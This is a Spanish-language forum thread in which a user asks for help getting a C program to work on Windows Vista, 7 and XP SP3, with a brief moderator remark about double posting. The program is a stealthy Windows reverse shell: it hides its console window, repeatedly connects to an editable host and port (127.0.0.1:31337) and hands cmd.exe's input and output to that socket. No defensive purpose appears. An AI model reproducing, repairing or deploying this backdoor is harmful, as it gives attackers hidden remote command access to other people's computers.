No, no funciona tampoco xD... Y mas que ser de seguridad Windows, creo que es la forma en la que se hace... no es correcta.
llevo 3 dias enteros con el problemita xD... podrian ayudarme?
Alguna otra respuestas?
Muchas gracias!
Pd: Feliz navidad!
Lh: No hagas doble post. Utiliza el botón modificar.Bueno, alguien me puede decir al menos si le funciona en 7? Y en Vista? Y en XP SP3?
Necesito ayuda!!!
El code final es este... He probado a abrirlo como admin, y nada....
Alguna idea?
Bueno, que code usan ustedes en Vista / 7?
#include <time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
struct sockaddr_in host;
SOCKET sockfd;
int main (int argc, char *argv [])
{
ShowWindow (GetForegroundWindow (), SW_HIDE);
WSADATA wsa;
WSAStartup(MAKEWORD(2,2),&wsa);
host.sin_addr.s_addr = inet_addr ("127.0.0.1"); // A modificar!
host.sin_port = htons (31337); //Igualmente!
host.sin_family = AF_INET;
if ((sockfd = socket (2, 1, 0)) == -1) return 1;
while (connect (sockfd, (struct sockaddr*)&host, sizeof (struct sockaddr))) Sleep (1);
PROCESS_INFORMATION info_proc;
STARTUPINFO start_proc;
memset(&start_proc
,0,sizeof(start_proc
)); start_proc.cb=sizeof(start_proc);
start_proc.dwFlags=STARTF_USESTDHANDLES;
start_proc.hStdInput = start_proc.hStdOutput = start_proc.hStdError = (HANDLE)sockfd;
CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&start_proc,&info_proc);
closesocket (sockfd);
return 0;
}